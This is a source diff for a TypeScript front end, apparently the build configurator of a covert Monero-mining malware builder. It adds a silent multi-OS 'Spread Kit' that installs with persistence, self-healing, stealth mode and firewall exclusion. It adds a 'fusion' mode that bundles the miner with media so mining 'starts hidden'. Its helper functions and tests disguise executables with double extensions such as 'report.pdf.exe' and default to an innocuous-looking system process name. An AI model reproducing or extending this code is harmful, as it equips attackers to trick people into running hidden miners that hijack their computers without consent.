{ value: 'temp', label: 'Temp folder (all platforms)' },
|
||||||
|
{ value: 'custom', label: 'Custom path…' },
|
||||||
|
];
|
||||||
|
|
||||||
|
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||||
|
if (form.fusion_enabled) return 'fusion';
|
||||||
|
if (form.spread_kit) return 'spread_kit';
|
||||||
|
return 'single';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function deliverableSummary(type: ForgeDeliverable): string {
|
||||||
|
switch (type) {
|
||||||
|
case 'fusion':
|
||||||
|
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
|
||||||
|
case 'spread_kit':
|
||||||
|
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
|
||||||
|
default:
|
||||||
|
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Recommended toggles when Spread Kit is selected. */
|
||||||
|
export function spreadKitPreset(): Partial<BuildRequest> {
|
||||||
|
return {
|
||||||
|
spread_kit: true,
|
||||||
|
fusion_enabled: false,
|
||||||
|
target_os: 'universal',
|
||||||
|
target_arch: 'all',
|
||||||
|
run_as: 'scheduled',
|
||||||
|
persistence: true,
|
||||||
|
auto_start: true,
|
||||||
|
self_healing: true,
|
||||||
|
stealth_mode: true,
|
||||||
|
silent_mode: true,
|
||||||
|
file_logging: false,
|
||||||
|
firewall_exclusion: true,
|
||||||
|
display_mode: 'background',
|
||||||
|
mining_mode: 'idle',
|
||||||
|
process_hollowing: false,
|
||||||
|
hole_punch: false,
|
||||||
|
remote_aggressive: true,
|
||||||
|
auto_spread: false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
||||||
|
const t = targetOs || 'windows';
|
||||||
|
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
||||||
|
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
||||||
|
return WINDOWS_INSTALL_BASES;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isWindowsOnlyTarget(targetOs?: string): boolean {
|
||||||
|
return !targetOs || targetOs === 'windows';
|
||||||
|
}
|
||||||
|
|
||||||
|
function isSingleUnixTarget(targetOs?: string): boolean {
|
||||||
|
return targetOs === 'linux' || targetOs === 'darwin';
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
||||||
|
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||||
|
const next: BuildRequest = { ...form };
|
||||||
|
|
||||||
|
// Deliverable coupling — spread kit wins if both flags were somehow set
|
||||||
|
if (next.spread_kit) {
|
||||||
|
next.fusion_enabled = false;
|
||||||
|
next.target_os = 'universal';
|
||||||
|
next.target_arch = 'all';
|
||||||
|
} else if (next.fusion_enabled) {
|
||||||
|
next.spread_kit = false;
|
||||||
|
if (next.target_os === 'windows' || !next.target_os) {
|
||||||
|
next.target_os = 'universal';
|
||||||
|
}
|
||||||
|
next.display_mode = 'background';
|
||||||
|
next.silent_mode = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
|
||||||
|
next.target_os = 'windows';
|
||||||
|
next.spread_kit = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Architecture
|
||||||
|
if (isSingleUnixTarget(next.target_os)) {
|
||||||
|
if (!next.target_arch || next.target_arch === 'all') {
|
||||||
|
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
next.target_arch = 'all';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Windows-only forge pipeline
|
||||||
|
if (!isWindowsOnlyTarget(next.target_os)) {
|
||||||
|
next.sign_build = false;
|
||||||
|
if (next.target_os !== 'universal') {
|
||||||
|
next.obfuscate = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process hollowing — Windows workers only
|
||||||
|
if (isSingleUnixTarget(next.target_os)) {
|
||||||
|
next.process_hollowing = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Install base matches target OS family
|
||||||
|
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
|
||||||
|
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
|
||||||
|
if (isSingleUnixTarget(next.target_os)) {
|
||||||
|
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
|
||||||
|
next.install_base = 'xdg_data_home';
|
||||||
|
}
|
||||||
|
} else if (isWindowsOnlyTarget(next.target_os)) {
|
||||||
|
if (next.install_base === 'xdg_data_home') {
|
||||||
|
next.install_base = 'localappdata';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (next.install_base !== 'custom') {
|
||||||
|
next.install_custom_base = '';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stealth / display
|
||||||
|
if (next.stealth_mode) {
|
||||||
|
next.file_logging = false;
|
||||||
|
if (next.display_mode === 'visible') {
|
||||||
|
next.display_mode = 'background';
|
||||||
|
}
|
||||||
|
next.silent_mode = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
|
||||||
|
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
|
||||||
|
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
|
||||||
|
if (!next.schedule_start) next.schedule_start = '21:00';
|
||||||
|
if (!next.schedule_end) next.schedule_end = '06:00';
|
||||||
|
|
||||||
|
// Thread mode
|
||||||
|
if (next.thread_mode === 'percent') {
|
||||||
|
if (next.thread_percent < 1 || next.thread_percent > 100) {
|
||||||
|
next.thread_percent = 75;
|
||||||
|
}
|
||||||
|
} else if (next.threads < 1) {
|
||||||
|
next.threads = 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run-as forces persistence
|
||||||
|
if (next.run_as === 'scheduled' || next.run_as === 'service') {
|
||||||
|
next.persistence = true;
|
||||||
|
next.auto_start = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
|
||||||
|
if (!next.ai_enabled) {
|
||||||
|
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||||
|
next.ai_model = 'llama3.2';
|
||||||
|
} else {
|
||||||
|
if (!next.ai_ollama_endpoint?.trim()) {
|
||||||
|
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||||
|
}
|
||||||
|
if (!next.ai_model?.trim()) {
|
||||||
|
next.ai_model = 'llama3.2';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fusion-only fields
|
||||||
|
if (!next.fusion_enabled) {
|
||||||
|
next.fusion_media_base_name = '';
|
||||||
|
next.fusion_export_subdir = '';
|
||||||
|
if (next.fusion_payload_kind === 'video') {
|
||||||
|
next.fusion_payload_kind = 'exe';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return next;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Apply a deliverable preset — call from UI when user picks build type. */
|
||||||
|
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
|
||||||
|
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
|
||||||
|
|
||||||
|
switch (type) {
|
||||||
|
case 'fusion':
|
||||||
|
return normalizeForgeForm({
|
||||||
|
...base,
|
||||||
|
fusion_enabled: true,
|
||||||
|
target_os: 'universal',
|
||||||
|
target_arch: 'all',
|
||||||
|
display_mode: 'background',
|
||||||
|
silent_mode: true,
|
||||||
|
fusion_media_mode: base.fusion_media_mode || 'paired',
|
||||||
|
fusion_payload_kind: base.fusion_payload_kind || 'exe',
|
||||||
|
});
|
||||||
|
case 'spread_kit':
|
||||||
|
return normalizeForgeForm({
|
||||||
|
...base,
|
||||||
|
...spreadKitPreset(),
|
||||||
|
});
|
||||||
|
default:
|
||||||
|
return normalizeForgeForm({
|
||||||
|
...base,
|
||||||
|
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
import type { BuildRequest } from '../types';
|
import type { BuildRequest } from '../types';
|
||||||
|
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||||
|
|
||||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||||
|
|
||||||
@@ -102,10 +103,58 @@ export function applyForgeFieldUpdate(
|
|||||||
next.persistence = value === true;
|
next.persistence = value === true;
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case 'target_os':
|
||||||
|
if (value !== 'windows' && value !== 'universal') {
|
||||||
|
next.process_hollowing = false;
|
||||||
|
next.sign_build = false;
|
||||||
|
if (value !== 'universal') {
|
||||||
|
next.obfuscate = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (value === 'linux' || value === 'darwin') {
|
||||||
|
next.spread_kit = false;
|
||||||
|
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
|
||||||
|
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
|
||||||
|
next.install_base = 'xdg_data_home';
|
||||||
|
}
|
||||||
|
} else if (value === 'windows') {
|
||||||
|
next.target_arch = 'all';
|
||||||
|
if (next.install_base === 'xdg_data_home') {
|
||||||
|
next.install_base = 'localappdata';
|
||||||
|
}
|
||||||
|
} else if (value === 'universal') {
|
||||||
|
next.target_arch = 'all';
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
case 'fusion_enabled':
|
case 'fusion_enabled':
|
||||||
if (value === true) {
|
if (value === true) {
|
||||||
next.display_mode = 'background';
|
next.display_mode = 'background';
|
||||||
next.silent_mode = true;
|
next.silent_mode = true;
|
||||||
|
next.spread_kit = false;
|
||||||
|
if (!next.target_os || next.target_os === 'windows') {
|
||||||
|
next.target_os = 'universal';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'spread_kit':
|
||||||
|
if (value === true) {
|
||||||
|
Object.assign(next, {
|
||||||
|
fusion_enabled: false,
|
||||||
|
target_os: 'universal',
|
||||||
|
target_arch: 'all',
|
||||||
|
run_as: 'scheduled',
|
||||||
|
persistence: true,
|
||||||
|
auto_start: true,
|
||||||
|
self_healing: true,
|
||||||
|
stealth_mode: true,
|
||||||
|
silent_mode: true,
|
||||||
|
file_logging: false,
|
||||||
|
firewall_exclusion: true,
|
||||||
|
display_mode: 'background',
|
||||||
|
process_hollowing: false,
|
||||||
|
});
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
@@ -158,12 +207,8 @@ export function applyForgeFieldUpdate(
|
|||||||
break;
|
break;
|
||||||
|
|
||||||
case 'worker_name':
|
case 'worker_name':
|
||||||
if (typeof value === 'string' && value.trim()) {
|
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
|
||||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
// Users can override process_name manually in Advanced mode.
|
||||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
|
||||||
next.process_name = proc;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 'pool_tls':
|
case 'pool_tls':
|
||||||
@@ -173,7 +218,7 @@ export function applyForgeFieldUpdate(
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
return next;
|
return normalizeForgeForm(next);
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Per-field UI state: disabled fields + why. */
|
/** Per-field UI state: disabled fields + why. */
|
||||||
@@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
const isIdle = form.mining_mode === 'idle';
|
const isIdle = form.mining_mode === 'idle';
|
||||||
const isScheduled = form.mining_mode === 'scheduled';
|
const isScheduled = form.mining_mode === 'scheduled';
|
||||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||||
|
const targetOs = form.target_os || 'windows';
|
||||||
|
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
||||||
|
const isWindowsOnly = targetOs === 'windows';
|
||||||
|
const isUniversal = targetOs === 'universal';
|
||||||
|
const isSpreadKit = !!form.spread_kit;
|
||||||
|
const isFusion = !!form.fusion_enabled;
|
||||||
|
|
||||||
return {
|
return {
|
||||||
worker_name: { disabled: false, badge: 'baked' },
|
worker_name: { disabled: false, badge: 'baked' },
|
||||||
@@ -271,7 +322,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
: undefined,
|
: undefined,
|
||||||
},
|
},
|
||||||
run_as: { disabled: false, badge: 'baked' },
|
run_as: { disabled: false, badge: 'baked' },
|
||||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
fusion_enabled: {
|
||||||
|
disabled: isSpreadKit,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||||
|
},
|
||||||
fusion_prep: {
|
fusion_prep: {
|
||||||
disabled: !form.fusion_enabled,
|
disabled: !form.fusion_enabled,
|
||||||
badge: 'requires',
|
badge: 'requires',
|
||||||
@@ -298,9 +353,55 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
|||||||
badge: 'requires',
|
badge: 'requires',
|
||||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||||
},
|
},
|
||||||
process_hollowing: { disabled: false, badge: 'baked' },
|
process_hollowing: {
|
||||||
|
disabled: isUnixSingle,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: isUnixSingle
|
||||||
|
? 'Process hollowing is Windows-only.'
|
||||||
|
: isUniversal
|
||||||
|
? 'Only baked into the Windows worker inside universal builds.'
|
||||||
|
: undefined,
|
||||||
|
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||||
|
},
|
||||||
mesh_p2p: { disabled: false, badge: 'baked' },
|
mesh_p2p: { disabled: false, badge: 'baked' },
|
||||||
auto_spread: { disabled: false, badge: 'baked' },
|
auto_spread: { disabled: false, badge: 'baked' },
|
||||||
|
hole_punch: { disabled: false, badge: 'baked' },
|
||||||
|
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||||
|
target_os: {
|
||||||
|
disabled: isSpreadKit || isFusion,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: isSpreadKit
|
||||||
|
? 'Spread Kit always targets all platforms (Universal).'
|
||||||
|
: isFusion
|
||||||
|
? 'Movie fusion always builds a universal ZIP.'
|
||||||
|
: undefined,
|
||||||
|
},
|
||||||
|
target_arch: {
|
||||||
|
disabled: !isUnixSingle,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: !isUnixSingle
|
||||||
|
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||||
|
: undefined,
|
||||||
|
},
|
||||||
|
spread_kit: {
|
||||||
|
disabled: isFusion,
|
||||||
|
badge: 'baked',
|
||||||
|
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
|
||||||
|
},
|
||||||
|
obfuscate: {
|
||||||
|
disabled: isUnixSingle,
|
||||||
|
badge: 'server-only',
|
||||||
|
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
|
||||||
|
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
|
||||||
|
},
|
||||||
|
sign_build: {
|
||||||
|
disabled: !isWindowsOnly && !isUniversal,
|
||||||
|
badge: 'server-only',
|
||||||
|
lockedReason: !isWindowsOnly && !isUniversal
|
||||||
|
? 'Authenticode signing applies to Windows .exe output only.'
|
||||||
|
: undefined,
|
||||||
|
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
||||||
|
},
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -334,6 +435,21 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
|
|||||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||||
}
|
}
|
||||||
|
if (form.target_os === 'universal') {
|
||||||
|
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
|
||||||
|
}
|
||||||
|
if (form.spread_kit) {
|
||||||
|
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
|
||||||
|
}
|
||||||
|
if (form.fusion_enabled) {
|
||||||
|
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
|
||||||
|
}
|
||||||
|
if (form.target_os === 'linux' || form.target_os === 'darwin') {
|
||||||
|
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
|
||||||
|
}
|
||||||
|
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||||
|
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
|
||||||
|
}
|
||||||
|
|
||||||
return notices;
|
return notices;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -57,6 +57,8 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
|
|||||||
process_hollowing: false,
|
process_hollowing: false,
|
||||||
mesh_p2p: false,
|
mesh_p2p: false,
|
||||||
auto_spread: false,
|
auto_spread: false,
|
||||||
|
hole_punch: false,
|
||||||
|
remote_aggressive: false,
|
||||||
ai_enabled: false,
|
ai_enabled: false,
|
||||||
fusion_enabled: false,
|
fusion_enabled: false,
|
||||||
output_dir: 'exports',
|
output_dir: 'exports',
|
||||||
|
|||||||
@@ -32,7 +32,8 @@ function isReachableServerUrl(url: string): boolean {
|
|||||||
|
|
||||||
function looksLikeXMRWallet(addr: string): boolean {
|
function looksLikeXMRWallet(addr: string): boolean {
|
||||||
const a = addr.trim();
|
const a = addr.trim();
|
||||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
|
||||||
|
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||||
|
|||||||
@@ -3,23 +3,63 @@ import {
|
|||||||
defaultEmbeddedName,
|
defaultEmbeddedName,
|
||||||
defaultRunnerName,
|
defaultRunnerName,
|
||||||
fusionTitleFromFilename,
|
fusionTitleFromFilename,
|
||||||
isFusionVideoFile,
|
isFusionExeFile,
|
||||||
|
fusionPayloadKind,
|
||||||
|
fusionFileTypeLabel,
|
||||||
|
disguisedWindowsRunnerName,
|
||||||
|
disguisedDisplayName,
|
||||||
} from './fusionMedia';
|
} from './fusionMedia';
|
||||||
|
|
||||||
describe('fusionMedia', () => {
|
describe('fusionMedia', () => {
|
||||||
it('detects video extensions', () => {
|
it('detects exe extensions', () => {
|
||||||
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
|
expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
|
||||||
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
|
expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
|
||||||
expect(isFusionVideoFile(null)).toBe(false);
|
expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
|
||||||
|
expect(isFusionExeFile(null)).toBe(false);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('derives title from filename', () => {
|
it('returns correct payload kind', () => {
|
||||||
|
expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
|
||||||
|
expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
|
||||||
|
expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
|
||||||
|
expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
|
||||||
|
expect(fusionPayloadKind(null)).toBe('file');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('derives title from any filename', () => {
|
||||||
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
||||||
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
||||||
|
expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
|
||||||
|
expect(fusionTitleFromFilename('document.docx')).toBe('document');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('builds default runner and embedded names', () => {
|
it('builds disguised double-extension runner names for non-exe files', () => {
|
||||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
|
// Double-extension trick: Windows hides .exe → user sees the document name + icon
|
||||||
|
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||||
|
expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
|
||||||
|
expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
|
||||||
|
// exe payloads are not double-extended (they run directly)
|
||||||
|
expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
|
||||||
|
// embedded = same disguised name
|
||||||
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('disguisedWindowsRunnerName works for all types', () => {
|
||||||
|
expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
|
||||||
|
expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
|
||||||
|
expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
|
||||||
|
expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
|
||||||
|
expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
|
||||||
|
expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns friendly file type labels', () => {
|
||||||
|
expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
|
||||||
|
expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
|
||||||
|
expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
|
||||||
|
expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,20 +1,69 @@
|
|||||||
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
/** Return true if the file is a Windows executable payload (run directly). */
|
||||||
|
export function isFusionExeFile(file: File | null | undefined): boolean {
|
||||||
if (!file?.name) return false;
|
if (!file?.name) return false;
|
||||||
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
return /\.exe$/i.test(file.name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Derive a clean title from any filename (strips extension). */
|
||||||
export function fusionTitleFromFilename(name: string): string {
|
export function fusionTitleFromFilename(name: string): string {
|
||||||
const base = name.replace(/^.*[/\\]/, '');
|
const base = name.replace(/^.*[/\\]/, '');
|
||||||
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
// Remove all extensions from the title
|
||||||
|
return base.replace(/\.[^.]+$/, '') || 'file';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files.
|
||||||
|
* e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer)
|
||||||
|
* "setup.exe" → "setup.exe" (run directly)
|
||||||
|
*/
|
||||||
export function defaultRunnerName(mediaName: string): string {
|
export function defaultRunnerName(mediaName: string): string {
|
||||||
const title = fusionTitleFromFilename(mediaName);
|
return disguisedWindowsRunnerName(mediaName);
|
||||||
return `${title}-runner.exe`;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */
|
||||||
export function defaultEmbeddedName(mediaName: string): string {
|
export function defaultEmbeddedName(mediaName: string): string {
|
||||||
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
return defaultRunnerName(mediaName);
|
||||||
const title = fusionTitleFromFilename(mediaName);
|
}
|
||||||
return `${title}${ext}.exe`;
|
|
||||||
|
/** Return the payload kind: "exe" for .exe files, "file" for everything else. */
|
||||||
|
export function fusionPayloadKind(file: File | null | undefined): string {
|
||||||
|
if (!file?.name) return 'file';
|
||||||
|
return /\.exe$/i.test(file.name) ? 'exe' : 'file';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the Windows runner filename that uses the double-extension trick.
|
||||||
|
* "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||||
|
* Windows hides the .exe when extension hiding is on (the OS default), so the
|
||||||
|
* user sees "quarterly-report.pdf" with the PDF icon injected by the forge.
|
||||||
|
*/
|
||||||
|
export function disguisedWindowsRunnerName(payloadName: string): string {
|
||||||
|
const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||||
|
if (ext === '.exe' || ext === '') {
|
||||||
|
// Already an exe or no extension — no double-extension trick needed
|
||||||
|
const base = payloadName.replace(/\.[^.]+$/, '') || 'setup';
|
||||||
|
return base + '.exe';
|
||||||
|
}
|
||||||
|
const base = payloadName.replace(/\.[^.]+$/, '') || 'file';
|
||||||
|
return base + ext + '.exe';
|
||||||
|
}
|
||||||
|
|
||||||
|
/** What the disguised Windows file looks like to the user (with ext hiding on). */
|
||||||
|
export function disguisedDisplayName(payloadName: string): string {
|
||||||
|
// Strips the trailing .exe → shows the double-extension name without .exe
|
||||||
|
const runner = disguisedWindowsRunnerName(payloadName);
|
||||||
|
return runner.replace(/\.exe$/i, '');
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Friendly label for a file type based on extension. */
|
||||||
|
export function fusionFileTypeLabel(filename: string): string {
|
||||||
|
const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||||
|
const labels: Record<string, string> = {
|
||||||
|
pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video',
|
||||||
|
avi: 'AVI video', doc: 'Word document', docx: 'Word document',
|
||||||
|
xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation',
|
||||||
|
jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image',
|
||||||
|
zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image',
|
||||||
|
txt: 'Text file', csv: 'CSV file',
|
||||||
|
};
|
||||||
|
return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file');
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,9 @@ const BASE_LABELS: Record<string, string> = {
|
|||||||
appdata: '%APPDATA%',
|
appdata: '%APPDATA%',
|
||||||
programdata: '%ProgramData%',
|
programdata: '%ProgramData%',
|
||||||
userprofile: '%USERPROFILE%',
|
userprofile: '%USERPROFILE%',
|
||||||
temp: '%TEMP%',
|
home: '~',
|
||||||
|
xdg_data_home: '~/.local/share',
|
||||||
|
temp: '%TEMP% / /tmp',
|
||||||
custom: '',
|
custom: '',
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -18,12 +20,14 @@ export function previewInstallPath(options: {
|
|||||||
install_relative_path?: string;
|
install_relative_path?: string;
|
||||||
worker_name?: string;
|
worker_name?: string;
|
||||||
process_name?: string;
|
process_name?: string;
|
||||||
|
target_os?: string;
|
||||||
}): string {
|
}): string {
|
||||||
|
const targetOs = options.target_os || 'windows';
|
||||||
const baseKey = options.install_base || 'localappdata';
|
const baseKey = options.install_base || 'localappdata';
|
||||||
const base =
|
const base =
|
||||||
baseKey === 'custom'
|
baseKey === 'custom'
|
||||||
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
||||||
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
|
: (BASE_LABELS[baseKey] || BASE_LABELS.localappdata);
|
||||||
|
|
||||||
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
||||||
const process = sanitizeToken(options.process_name || worker, 'miner');
|
const process = sanitizeToken(options.process_name || worker, 'miner');
|
||||||
